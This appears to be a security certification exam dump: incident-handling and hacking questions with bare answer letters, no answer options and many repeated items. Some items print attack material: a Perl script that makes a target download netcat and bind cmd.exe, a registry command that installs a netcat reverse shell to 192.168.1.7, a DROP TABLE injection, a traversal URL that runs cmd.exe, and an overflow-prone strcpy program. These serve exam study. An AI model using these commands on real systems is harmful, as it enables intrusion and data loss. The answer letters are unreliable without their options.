Which of the following ensures that a party to a dispute cannot deny the authenticity of their signature on a document or the sending of a message that they originated?
Answer : C
Which of the following attacks are examples of Denial-of-service attacks (DoS)?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, B, D
Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it with chess.exe. Which of the following tools are required in such a scenario?
Each correct answer represents a part of the solution. Choose three.
Answer : A, C, D
You check performance logs and note that there has been a recent dramatic increase in the amount of broadcast traffic. What is this most likely to be an indicator of?
Answer : D
Which of the following Denial-of-Service (DoS) attacks employ IP fragmentation mechanism?
Each correct answer represents a complete solution. Choose two.
Answer : C, D
Which of the following types of attacks is targeting a Web server with multiple compromised
computers that are simultaneously sending hundreds of FIN packets with spoofed IP source IP
addresses?
Answer : C
In the DNS Zone transfer enumeration, an attacker attempts to retrieve a copy of the entire zone file for a domain from a DNS server. The information provided by the DNS zone can help an attacker gather user names, passwords, and other valuable information. To attempt a zone transfer, an attacker must be connected to a DNS server that is the authoritative server for that zone. Besides this, an attacker can launch a Denial of Service attack against the zone's DNS servers by flooding them with a lot of requests. Which of the following tools can an attacker use to perform a DNS zone transfer?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, B, D
Which of the following statements about Denial-of-Service (DoS) attack are true?
Each correct answer represents a complete solution. Choose three.
Answer : A, C, D
Jane works as a Consumer Support Technician for ABC Inc. The company provides troubleshooting support to users. Jane is troubleshooting the computer of a user who has installed software that automatically gains full permissions on his computer. Jane has never seen this software before. Which of the following types of malware is the user facing on his computer?
Answer : A
Adam, a malicious hacker performs an exploit, which is given below:
#####################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
#####################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host --C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?
Answer : D
TCP/IP stack fingerprinting is the passive collection of configuration attributes from a remote device during standard layer 4 network communications. The combination of parameters may then be used to infer the remote operating system (OS fingerprinting), or incorporated into a device fingerprint.
Which of the following Nmap switches can be used to perform TCP/IP stack fingerprinting?
Answer : C
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company wants to fix potential vulnerabilities existing on the tested systems. You use Nessus as a vulnerability scanning program to fix the vulnerabilities. Which of the following vulnerabilities can be fixed using Nessus?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, B, C
Who are the primary victims of smurf attacks on the contemporary Internet system?
Answer : A
John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He enters a single quote in the input field of the login page of the We-are-secure Web site and receives the following error message:
Microsoft OLE DB Provider for ODBC Drivers error '0x80040E14'
This error message shows that the We-are-secure Website is vulnerable to __________.
Answer : C
Which of the following is used to determine the operating system on the remote computer in a network environment?
Answer : C
Maria works as a professional Ethical Hacker. She is assigned a project to test the security of www.we-are-secure.com. She wants to test a DoS attack on the We-are-secure server. She finds that the firewall of the server is blocking the ICMP messages, but it is not checking the UDP packets. Therefore, she sends a large amount of UDP echo request traffic to the IP broadcast addresses. These UDP requests have a spoofed source address of the We-are-secure server. Which of the following DoS attacks is Maria using to accomplish her task?
Answer : B
Which of the following types of skills are required in the members of an incident handling team?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, B, D
Which of the following types of malware does not replicate itself but can spread only when the
circumstances are beneficial?
Answer : D
Which of the following functions can be used as a countermeasure to a Shell Injection attack?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, D
Jason, a Malicious Hacker, is a student of Baker university. He wants to perform remote hacking on the server of DataSoft Inc. to hone his hacking skills. The company has a Windows-based network. Jason successfully enters the target system remotely by using the advantage of vulnerability. He places a Trojan to maintain future access and then disconnects the remote session. The employees of the company complain to Mark, who works as a Professional Ethical Hacker for DataSoft Inc., that some computers are very slow. Mark diagnoses the network and finds that some irrelevant log files and signs of Trojans are present on the computers. He suspects that a malicious hacker has accessed the network. Mark takes the help from Forensic Investigators and catches Jason.
Which of the following mistakes made by Jason helped the Forensic Investigators catch him?
Answer : D
Which of the following terms describes an attempt to transfer DNS zone data?
Answer : A
Which of the following is executed when a predetermined event occurs?
Answer : B
Which of the following are the limitations for the cross site request forgery (CSRF) attack?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, B
Which of the following rootkits is able to load the original operating system as a virtual machine, thereby enabling it to intercept all hardware calls made by the original operating system?
Answer : C
with the appropriate name of the rootkit.
A _______ rootkit uses device or platform firmware to create a persistent malware image.
See Below Explanation:
Answer : A
Which of the following is designed to protect the Internet resolvers (clients) from forged DNS data created by DNS cache poisoning?
Answer : D
with the appropriate name of the tool.
______ scans for rootkits by comparing SHA-1 hashes of important files with known good ones in online database.
See Below Explanation:
Answer : A
Which of the following reads and writes data across network connections by using the TCP/IP protocol?
Answer : C
Which of the following functions can you use to mitigate a command injection attack?
Each correct answer represents a part of the solution. Choose all that apply.
Answer : A, B
Which of the following hacking tools provides shell access over ICMP?
Answer : D
You work as a Network Administrator in the SecureTech Inc. The SecureTech Inc. is using Linux-based server. Recently, you have updated the password policy of the company in which the server will disable passwords after four trials. What type of attack do you want to stop by enabling this policy?
Answer : A
Which of the following US Acts emphasized a "risk-based policy for cost-effective security" and makes mandatory for agency program officials, chief information officers, and inspectors general (IGs) to conduct annual reviews of the agency's information security program and report the results to Office of Management and Budget?
Answer : D
Maria works as a professional Ethical Hacker. She is assigned a project to test the security of www.we-are-secure.com. She wants to test a DoS attack on the We-are-secure server. She finds that the firewall of the server is blocking the ICMP messages, but it is not checking the UDP packets. Therefore, she sends a large amount of UDP echo request traffic to the IP broadcast addresses. These UDP requests have a spoofed source address of the We-are-secure server. Which of the following DoS attacks is Maria using to accomplish her task?
Answer : B
John used to work as a Network Administrator for We-are-secure Inc. Now he has resigned from the company for personal reasons. He wants to send out some secret information of the company. To do so, he takes an image file and simply uses a tool image hide and embeds the secret file within an image file of the famous actress, Jennifer Lopez, and sends it to his Yahoo mail id. Since he is using the image file to send the data, the mail server of his company is unable to filter this mail. Which of the following techniques is he performing to accomplish his task?
Answer : B
Which of the following penetration testing phases involves reconnaissance or data gathering?
Answer : B
In which of the following attacks does an attacker use packet sniffing to read network traffic between two parties to steal the session cookie?
Answer : C
Which of the following attacking methods allows the bypassing of access control lists on servers or routers, either hiding a computer on a network or allowing it to impersonate another computer by changing the Media Access Control address?
Answer : D
with the appropriate name of the rootkit.
A _______ rootkit uses device or platform firmware to create a persistent malware image.
See Below Explanation:
Answer : A
Which of the following password cracking attacks is based on a pre-calculated hash table to retrieve plain text passwords?
Answer : A
Which of the following procedures is designed to enable security personnel to identify, mitigate, and recover from malicious computer incidents, such as unauthorized access to a system or data, denialof-service, or unauthorized changes to system hardware, software, or data?
Answer : B
Adam, a novice web user, is very conscious about the security. He wants to visit the Web site that is known to have malicious applets and code. Adam always makes use of a basic Web Browser to perform such testing.
Which of the following web browsers can adequately fill this purpose?
Answer : C
Maria works as the Chief Security Officer for PassGuide Inc. She wants to send secret messages to the CEO of the company. To secure these messages, she uses a technique of hiding a secret message within an ordinary message. The technique provides 'security through obscurity'. What technique is Maria using?
Answer : A
Adam works as an Incident Handler for Umbrella Inc. He is informed by the senior authorities that the server of the marketing department has been affected by a malicious hacking attack. Supervisors are also claiming that some sensitive data are also stolen.
Adam immediately arrived to the server room of the marketing department and identified the event as an incident. He isolated the infected network from the remaining part of the network and started preparing to image the entire system. He captures volatile data, such as running process, ram, and network connections.
Which of the following steps of the incident handling process is being performed by Adam?
Answer : D
with the appropriate word.
StackGuard (as used by Immunix), ssp/ProPolice (as used by OpenBSD), and Microsoft's /GS option use ______ defense against buffer overflow attacks.
See Below Explanation:
Answer : A
Which of the following Denial-of-Service (DoS) attacks employ IP fragmentation mechanism?
Each correct answer represents a complete solution. Choose two.
Answer : C, D
Which of the following languages are vulnerable to a buffer overflow attack?
Each correct answer represents a complete solution. Choose all that apply.
Answer : B, C
Which of the following tools uses common UNIX/Linux tools like the strings and grep commands to search core system programs for signatures of the rootkits?
Answer : C
Which of the following is a reason to implement security logging on a DNS server?
Answer : C
You work as a Network Administrator in the SecureTech Inc. The SecureTech Inc. is using Linux-based server. Recently, you have updated the password policy of the company in which the server will disable passwords after four trials. What type of attack do you want to stop by enabling this policy?
Answer : A
Which of the following attacks allows an attacker to sniff data frames on a local area network (LAN) or stop the traffic altogether?
Answer : B
You want to connect to your friend's computer and run a Trojan on it. Which of the following tools will you use to accomplish the task?
Answer : A
In which of the following attacks does the attacker gather information to perform an access attack?
Answer : B
You discover that your network routers are being flooded with broadcast packets that have the return address of one of the servers on your network. This is resulting in an overwhelming amount of traffic going back to that server and flooding it. What is this called?
Answer : C
Which of the following wireless network security solutions refers to an authentication process in which a user can connect wireless access points to a centralized server to ensure that all hosts are properly authenticated?
Answer : B
Which of the following rootkits patches, hooks, or replaces system calls with versions that hide information about the attacker?
Answer : A
Buffer overflows are one of the major errors used for exploitation on the Internet today. A buffer overflow occurs when a particular operation/function writes more data into a variable than the variable was designed to hold.
Which of the following are the two popular types of buffer overflows?
Each correct answer represents a complete solution. Choose two.
Answer : B, C
Which of the following US Acts emphasized a "risk-based policy for cost-effective security" and makes mandatory for agency program officials, chief information officers, and inspectors general (IGs) to conduct annual reviews of the agency's information security program and report the results to Office of Management and Budget?
Answer : D
You work as a Network Penetration tester in the Secure Inc. Your company takes the projects to test the security of various companies. Recently, Secure Inc. has assigned you a project to test the security of a Web site. You go to the Web site login page and you run the following SQL query:
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'attacker@somehwere.com'; DROP TABLE members; --'
What task will the above SQL query perform?
Answer : D
You see the career section of a company's Web site and analyze the job profile requirements. You conclude that the company wants professionals who have a sharp knowledge of Windows server 2003 and Windows active directory installation and placement. Which of the following steps are you using to perform hacking?
Answer : C
Which of the following is executed when a predetermined event occurs?
Answer : B
Which of the following characters will you use to check whether an application is vulnerable to an SQL injection attack?
Answer : C
with the appropriate term.
______ is a free Unix subsystem that runs on top of Windows.
See Below Explanation:
Answer : A
Which of the following is used by attackers to obtain an authenticated connection on a network?
Answer : B
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company wants to fix potential vulnerabilities existing on the tested systems. You use Nessus as a vulnerability scanning program to fix the vulnerabilities. Which of the following vulnerabilities can be fixed using Nessus?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, B, C
Which of the following tools can be used to detect the steganography?
Answer : A
Who are the primary victims of smurf attacks on the contemporary Internet system?
Answer : A
Which of the following statements about a Trojan horse are true?
Each correct answer represents a complete solution. Choose two.
Answer : B, C
Adam, a malicious hacker, wants to perform a reliable scan against a remote target. He is not concerned about being stealth at this point.
Which of the following type of scans would be most accurate and reliable?
Answer : B
Which of the following is the method of hiding data within another media type such as graphic or document?
Answer : B
You enter the following URL on your Web browser:
http://www.we-are-secure.com/scripts/..%co%af../..%co%
af../windows/system32/cmd.exe?/c+dir+c:\
What kind of attack are you performing?
Answer : A
John works as a Network Security Professional. He is assigned a project to test the security of
www.we-are-secure.com. He establishes a connection to a target host running a Web service with netcat and sends a bad html request in order to retrieve information about the service on the host.

Which of the following attacks is John using?
Answer : D
Which of the following are the automated tools that are used to perform penetration testing?
Each correct answer represents a complete solution. Choose two.
Answer : B, D
Which of the following functions can you use to mitigate a command injection attack?
Each correct answer represents a part of the solution. Choose all that apply.
Answer : A, B
John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He has successfully completed the following steps of the pre-attack phase:
l Information gathering
l Determining network range
l Identifying active machines
l Finding open ports and applications
l OS fingerprinting
l Fingerprinting services
Now John wants to perform network mapping of the We-are-secure network. Which of the following tools can he use to accomplish his task?
Each correct answer represents a complete solution. Choose all that apply.
Answer : B, C, D
Which of the following viruses/worms uses the buffer overflow attack?
Answer : D
Which of the following attacks capture the secret value like a hash and reuse it later to gain access to
a system without ever decrypting or decoding the hash?
Answer : B
with the appropriate term.
______ is a technique used to make sure that incoming packets are actually from the
networks that they claim to be from.
See Below Explanation:
Answer : A
Adam works as a Network Administrator for PassGuide Inc. He wants to prevent the network from DOS attacks. Which of the following is most useful against DOS attacks?
Answer : A
Adam works as a sales manager for Umbrella Inc. He wants to download software from the Internet. As the software comes from a site in his untrusted zone, Adam wants to ensure that the downloaded software has not been Trojaned. Which of the following options would indicate the best course of action for Adam?
Answer : D
Which of the following is a reason to implement security logging on a DNS server?
Answer : C
Many organizations create network maps of their network system to visualize the network and understand the relationship between the end devices and the transport layer that provide services.
Which of the following are the techniques used for network mapping by large organizations?
Each correct answer represents a complete solution. Choose three.
Answer : B, C, D
Which of the following statements are true about Dsniff?
Each correct answer represents a complete solution. Choose two.
Answer : A, D
Adam is a novice Web user. He chooses a 22 letters long word from the dictionary as his password. How long will it take to crack the password by an attacker?
Answer : D
Which of the following is the most common vulnerability that can affect desktop applications written in native code?
Answer : D
In which of the following attacking methods does an attacker distribute incorrect IP address?
Answer : C
Which of the following is a technique for creating Internet maps?
Each correct answer represents a complete solution. Choose two.
Answer : A, B
Adam works as a Security Administrator for Umbrella Technology Inc. He reported a breach in security to his senior members, stating that "security defenses has been breached and exploited for 2 weeks by hackers." The hackers had accessed and downloaded 50,000 addresses containing customer credit cards and passwords. Umbrella Technology was looking to law enforcement officials to protect their intellectual property.
The intruder entered through an employee's home machine, which was connected to Umbrella
Technology's corporate VPN network. The application called BEAST Trojan was used in the attack to open a "back door" allowing the hackers undetected access. The security breach was discovered when customers complained about the usage of their credit cards without their knowledge.
The hackers were traced back to Shanghai, China through e-mail address evidence. The credit card information was sent to that same e-mail address. The passwords allowed the hackers to access Umbrella Technology's network from a remote location, posing as employees.
Which of the following actions can Adam perform to prevent such attacks from occurring in future?
Answer : C
Which of the following hacking tools provides shell access over ICMP?
Answer : D
Which of the following refers to a condition in which a hacker sends a bunch of packets that leave TCP ports half open?
Answer : C
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based
network. The company uses Check Point SmartDefense to provide security to the network of the company. You use SmartDefense on the HTTP servers of the company to fix the limitation for the maximum number of response headers allowed. Which of the following attacks will be blocked by defining this limitation?
Each correct answer represents a complete solution. Choose all that apply.
Answer : B, D
You work as a Network Administrator in the SecureTech Inc. The SecureTech Inc. is using Linux-based server. Recently, you have updated the password policy of the company in which the server will disable passwords after four trials. What type of attack do you want to stop by enabling this policy?
Answer : A
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.
Answer : B, C, D
You are hired as a Database Administrator for Jennifer Shopping Cart Inc. You monitor the server health through the System Monitor and found that there is a sudden increase in the number of logins.
A case study is provided in the exhibit. Which of the following types of attack has occurred?
(Click the Exhibit button on the toolbar to see the case study.)
Answer : D
Which of the following programs is used for bypassing normal authentication for securing remote access to a computer?
Answer : A
John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He finds that the We-are-secure server is vulnerable to attacks. As a countermeasure, he suggests that the Network Administrator should remove the IPP printing capability from the server. He is suggesting this as a countermeasure against __________.
Answer : A
Which of the following languages are vulnerable to a buffer overflow attack?
Each correct answer represents a complete solution. Choose all that apply.
Answer : B, C
You see the career section of a company's Web site and analyze the job profile requirements. You conclude that the company wants professionals who have a sharp knowledge of Windows server 2003 and Windows active directory installation and placement. Which of the following steps are you using to perform hacking?
Answer : C
Maria works as a professional Ethical Hacker. She is assigned a project to test the security of www.we-are-secure.com. She wants to test a DoS attack on the We-are-secure server. She finds that the firewall of the server is blocking the ICMP messages, but it is not checking the UDP packets. Therefore, she sends a large amount of UDP echo request traffic to the IP broadcast addresses. These UDP requests have a spoofed source address of the We-are-secure server. Which of the following DoS attacks is Maria using to accomplish her task?
Answer : B
The Klez worm is a mass-mailing worm that exploits a vulnerability to open an executable attachment even in Microsoft Outlook's preview pane. The Klez worm gathers email addresses from the entries of the default Windows Address Book (WAB). Which of the following registry values can be used to identify this worm?
Answer : C
Adam works as a sales manager for Umbrella Inc. He wants to download software from the Internet. As the software comes from a site in his untrusted zone, Adam wants to ensure that the downloaded software has not been Trojaned. Which of the following options would indicate the best course of action for Adam?
Answer : D
As a professional hacker, you want to crack the security of secureserver.com. For this, in the information gathering step, you performed scanning with the help of nmap utility to retrieve as many different protocols as possible being used by the secureserver.com so that you could get the accurate knowledge about what services were being used by the secure server.com. Which of the following nmap switches have you used to accomplish the task?
Answer : D
Which of the following techniques can be used to map 'open' or 'pass through' ports on a gateway?
Answer : D
Adam works as a Security Administrator for Umbrella Technology Inc. He reported a breach in security to his senior members, stating that "security defenses has been breached and exploited for 2 weeks by hackers." The hackers had accessed and downloaded 50,000 addresses containing customer credit cards and passwords. Umbrella Technology was looking to law enforcement officials to protect their intellectual property.
The intruder entered through an employee's home machine, which was connected to Umbrella
Technology's corporate VPN network. The application called BEAST Trojan was used in the attack to open a "back door" allowing the hackers undetected access. The security breach was discovered when customers complained about the usage of their credit cards without their knowledge.
The hackers were traced back to Shanghai, China through e-mail address evidence. The credit card information was sent to that same e-mail address. The passwords allowed the hackers to access Umbrella Technology's network from a remote location, posing as employees.
Which of the following actions can Adam perform to prevent such attacks from occurring in future?
Answer : C
Which of the following refers to the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system?
Answer : C
John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He has successfully completed the following steps of the pre-attack phase:
l Information gathering
l Determining network range
l Identifying active machines
l Finding open ports and applications
l OS fingerprinting
l Fingerprinting services
Now John wants to perform network mapping of the We-are-secure network. Which of the following tools can he use to accomplish his task?
Each correct answer represents a complete solution. Choose all that apply.
Answer : B, C, D
with the appropriate name of the attack.
______ takes best advantage of an existing authenticated connection
See Below Explanation:
Answer : A
You work as a Security Administrator for Net Perfect Inc. The company has a Windows-based network. You want to use a scanning technique which works as a reconnaissance attack. The technique should direct to a specific host or network to determine the services that the host offers.
Which of the following scanning techniques can you use to accomplish the task?
Answer : D
Your network is being flooded by ICMP packets. When you trace them down they come from multiple different IP addresses. What kind of attack is this?
Answer : D
Victor works as a professional Ethical Hacker for SecureEnet Inc. He wants to scan the wireless network of the company. He uses a tool that is a free open-source utility for network exploration. The tool uses raw IP packets to determine the following:
What ports are open on our network systems.
What hosts are available on the network.
Identify unauthorized wireless access points.
What services (application name and version) those hosts are offering.
What operating systems (and OS versions) they are running.
What type of packet filters/firewalls are in use.
Which of the following tools is Victor using?
Answer : C
Which of the following is a network worm that exploits the RPC sub-system vulnerability present in the Microsoft Windows operating system?
Answer : C
When you conduct the XMAS scanning using Nmap, you find that most of the ports scanned do not give a response. What can be the state of these ports?
Answer : B
with the appropriate term.
_______is the practice of monitoring and potentially restricting the flow of information outbound from one network to another.
See Below Explanation:
Answer : A
Which of the following is the difference between SSL and S-HTTP?
Answer : D
Which of the following attacks saturates network resources and disrupts services to a specific computer?
Answer : C
You are monitoring your network's behavior. You find a sudden increase in traffic on the network. It seems to come in bursts and emanate from one specific machine. You have been able to determine
that a user of that machine is unaware of the activity and lacks the computer knowledge required to be responsible for a computer attack. What attack might this indicate?
Answer : A
You run the following command while using Nikto Web scanner:
perl nikto.pl -h 192.168.0.1 -p 443
What action do you want to perform?
Answer : D
Address Resolution Protocol (ARP) spoofing, also known as ARP poisoning or ARP Poison Routing (APR), is a technique used to attack an Ethernet wired or wireless network. ARP spoofing may allow an attacker to sniff data frames on a local area network (LAN), modify the traffic, or stop the traffic altogether. The principle of ARP spoofing is to send fake ARP messages to an Ethernet LAN. What steps can be used as a countermeasure of ARP spoofing?
Each correct answer represents a complete solution. Choose all that apply.
Answer : B, C, D, E
John works as a C programmer. He develops the following C program:
#include
#include
#include
int buffer(char *str) {
char buffer1[10];
strcpy(buffer1, str);
return 1;
}
int main(int argc, char *argv[]) {
buffer (argv[1]);
printf("Executed\n");
return 1;
}
His program is vulnerable to a __________ attack.
Answer : C
Adam works as a Security Administrator for Umbrella Technology Inc. He reported a breach in security to his senior members, stating that "security defenses has been breached and exploited for 2 weeks by hackers." The hackers had accessed and downloaded 50,000 addresses containing customer credit cards and passwords. Umbrella Technology was looking to law enforcement officials to protect their intellectual property.
The intruder entered through an employee's home machine, which was connected to Umbrella
Technology's corporate VPN network. The application called BEAST Trojan was used in the attack to open a "back door" allowing the hackers undetected access. The security breach was discovered when customers complained about the usage of their credit cards without their knowledge.
The hackers were traced back to Shanghai, China through e-mail address evidence. The credit card information was sent to that same e-mail address. The passwords allowed the hackers to access Umbrella Technology's network from a remote location, posing as employees.
Which of the following actions can Adam perform to prevent such attacks from occurring in future?
Answer : C
Which of the following procedures is designed to enable security personnel to identify, mitigate, and recover from malicious computer incidents, such as unauthorized access to a system or data, denialof-service, or unauthorized changes to system hardware, software, or data?
Answer : B
with the appropriate name of the attack.
______ takes best advantage of an existing authenticated connection
See Below Explanation:
Answer : A
Who are the primary victims of smurf attacks on the contemporary Internet system?
Answer : A
The IT administrator wants to implement a stronger security policy. What are the four most important security priorities for PassGuide Software Systems Pvt. Ltd.?
(Click the Exhibit button on the toolbar to see the case study.)
Answer : A, C, E, F
Which of the following services CANNOT be performed by the nmap utility?
Each correct answer represents a complete solution. Choose all that apply.
Answer : A, B
In which of the following attacking methods does an attacker distribute incorrect IP address?
Answer : C
You want to integrate the Nikto tool with nessus vulnerability scanner. Which of the following steps will you take to accomplish the task?
Each correct answer represents a complete solution. Choose two.
Answer : C, D